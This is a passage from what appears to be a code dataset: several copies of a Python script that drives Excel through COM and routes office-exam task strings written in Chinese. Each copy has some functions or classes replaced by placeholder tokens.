self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass ExcelOperation:\n <function token>\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass ExcelOperation:\n <function token>\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n <function token>\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass ExcelOperation:\n <function token>\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n <function token>\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n <function token>\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass ExcelOperation:\n <function token>\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n <function token>\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n <function token>\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass ExcelOperation:\n <function token>\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n <function token>\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n <function token>\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n 